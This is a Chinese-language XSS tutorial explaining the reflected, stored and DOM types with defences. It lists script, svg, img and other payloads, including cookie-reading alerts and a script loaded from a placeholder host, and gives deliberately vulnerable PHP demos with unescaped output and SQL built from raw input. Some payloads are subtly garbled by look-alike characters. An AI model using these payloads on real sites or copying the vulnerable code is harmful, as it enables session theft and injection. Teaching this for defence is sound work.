文章目录
- 一、XSS 攻击概述
- 二、XSS 攻击原理
-
- 1. XSS的攻击载荷
-
- (1) script 标签
- (2) svg 标签
- (3) img 标签
- (4)body 标签
- (5) video 标签
- (6) style 标签
- 2. XSS可以插在哪里?
- 三、XSS 攻击的分类
-
- 1. 反射型
- 2. 存储型
- 3. DOM型
- 四、对 XSS 漏洞的简单攻击
-
- 1. 反射型XSS
- 2. 存储型XSS
- 3. DOM型XSS
- 五、XSS 攻击过程
-
- 1. 反射型 XSS 漏洞
- 2. 存储型XSS漏洞
- 六、XSS漏洞的危害
- 七、XSS 的防御
- 参考链接
一、XSS 攻击概述
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往 Web 页面里插入恶意 Script 代码(我说:插入的过程类似于注入),当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS 攻击针对的是用户层面的攻击!
二、XSS 攻击原理
HTML 是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是 HTML 标签的开始,
1. XSS的攻击载荷
以下所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script//
(1) script 标签
<script>
标签是最直接的 XSS 有效载荷,脚本标记可以引用外部的 JavaScript 代码,也可以将代码插入脚本标记中:
(关于 web 基础,<script>
的介绍可以参见我的另一篇文章:【Web】JavaScript 简介)
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
(2) svg 标签
<svg onload="alert(1)">
<svg οnlοad="alert(1)"//
(3) img 标签
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
(4)body 标签
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
(5) video 标签
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
(6) style 标签
<style οnlοad=alert(1)></style>
2. XSS可以插在哪里?
- 用户输入作为 script 标签内容
- 用户输入作为 HTML 注释内容
- 用户输入作为 HTML 标签的属性名
- 用户输入作为 HTML 标签的属性值
- 用户输入作为 HTML 标签的名字
- 直接插入到 CSS 里
- 最重要的是,千万不要引入任何不可信的第三方 JavaScript 到页面里!
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style></style>
三、XSS 攻击的分类
XSS分为:存储型 、反射型 、DOM型
- 存储型XSS:持久化,代码是存储在 服务器 中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
- 反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在 web 页面。反射型XSS大多数是用来盗取用户的Cookie信息。
- DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过 url 传入参数去控制触发的,其实也属于反射型XSS。
1. 反射型
2. 存储型
3. DOM型
如下图,我们在 URL 中传入参数的值,然后客户端页面通过 js 脚本利用 DOM 的方法获得 URL 中参数的值,再通过 DOM 方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。
所以,我们就可以在我们输入的参数上做手脚了。
四、对 XSS 漏洞的简单攻击
1. 反射型XSS
先放出源代码
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action.php" method="post"> <!-- <form>表示文档的服务器区域,此区域中包含一个Web站点的信息控件,用于向Web服务器区域提交 -->
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action.php:
<?php
$name=$_POST["name"];
echo $name;
?>
这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理:
所以,我们可以在输入框中提交数据: <script>alert('hack')</script>
,看看会有什么反应:
页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。
这就是最基本的 反射型的 XSS 漏洞 ,这种漏洞数据流向是: 前端–>后端–>前端
2. 存储型XSS
先给出源代码
//前端:2.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>存储型XSS</title>
</head>
<body>
<form action="action2.php" method="post">
输入你的ID: <input type="text" name="id" /> <br/>
输入你的Name:<input type="text" name="name" /> <br/>
<input type="submit" value="提交">
</form>
</body>
</html>
//后端:action2.php
<?php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>
//供其他用户访问页面:show2.php
<?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>
这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中 (比反射型多了一个存储进数据库的过程,所以会存在存储型 XSS 漏洞)。然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS 代码就被执行了。
我们输入 1 和 <script>alert(\'hack\')</script>
,注意,这里的 hack 的单引号要进行转义,因为 sql 语句中的 $name 是单引号的,所以这里不转义的话就会闭合 sql 语句中的单引号。不然注入不进去。提交了之后,我们看看数据库:
可以看到,我们的 XSS 语句已经插入到数据库中了
然后当其他用户访问 show2.php 页面时,我们插入的 XSS 代码就执行了。
存储型 XSS 的数据流向是:前端–>后端–>数据库–>后端–>前端
3. DOM型XSS
先放上源代码
// 前端3.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>DOM型XSS</title>
</head>
<body>
<form action="action3.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
// 后端action3.php
<?php
$name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
var text=document.getElementById("text");
var print=document.getElementById("print");
print.innerHTML=text.value; // 获取 text的值,并且输出在print内。这里是导致 xss 的主要原因。
</script>
这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理:
我们可以输入 <img src=1 οnerrοr=alert('hack')>
,然后看看页面的变化:
页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。
这就是 DOM型XSS 漏洞,这种漏洞数据流向是: 前端–>浏览器
五、XSS 攻击过程
1. 反射型 XSS 漏洞
- Alice 经常浏览某个网站,此网站为 Bob 所拥有。Bob 的站点需要 Alice 使用用户名/密码进行登录,并存储了 Alice 敏感信息(比如银行帐户信息)。
- Tom 发现 Bob 的站点存在反射性的 XSS 漏洞。
- Tom 利用 Bob 网站的反射型 XSS 漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使 Alice 点击。
- Alice 在登录到 Bob 的站点后,浏览了 Tom 提供的恶意链接。
- 嵌入到恶意链接中的恶意脚本在 Alice 的浏览器中执行。此脚本 盗窃敏感信息 (cookie、帐号信息等信息)。然后在 Alice 完全不知情的情况下将这些信息发送给 Tom。
- Tom 利用获取到的 cookie 就可以以 Alice 的身份登录 Bob 的站点,如果脚本的功更强大的话,Tom 还可以对 Alice 的浏览器做控制并进一步利用漏洞控制。
2. 存储型XSS漏洞
- Bob 拥有一个 Web 站点,该站点允许用户发布信息/浏览已发布的信息。
- Tom 检测到 Bob 的站点存在存储型的 XSS 漏洞。
- Tom 在 Bob 的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了 Bob 的服务器的数据库中,然后吸引其它用户来阅读该热点信息。
- Bob 或者是任何的其他人如 Alice 浏览该信息之后,Tom 的恶意脚本就会执行。
- Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起 XSS 攻击。
六、XSS漏洞的危害
从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。
那么,利用XSS漏洞可以干什么呢?
如果JS水平一般的话,还可以利用网上免费的 XSS 平台来构造代码实施攻击。
七、XSS 的防御
XSS防御的总体思路是:对 用户的输入(和URL参数) 进行 过滤 ,对 输出 进行 html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤;然后对动态输出到页面的内容进行 html 编码,转换为 html 实体,使脚本无法在浏览器中执行。
-
对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的 XSS 攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝 XSS 攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。
-
对输出进行 html 编码,就是通过函数,将用户的输入的数据进行 html 编码,使其不能作为脚本运行。
如下,是使用 php 中的 htmlspecialchars 函数对用户输入的 name 参数进行 html 编码,将其转换为 html 实体:#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体 $name = htmlspecialchars( $_GET[ 'name' ] );
如下,图一是没有进行 html 编码的,图2是进行了 html 编码的。经过 html 编码后 script 标签被当成了 html 实体。
-
我们还可以服务端设置会话 Cookie 的 HTTP Only 属性,这样,客户端的 JS 脚本就不能获取Cookie 信息了。
参考链接
- XSS(跨站脚本攻击)详解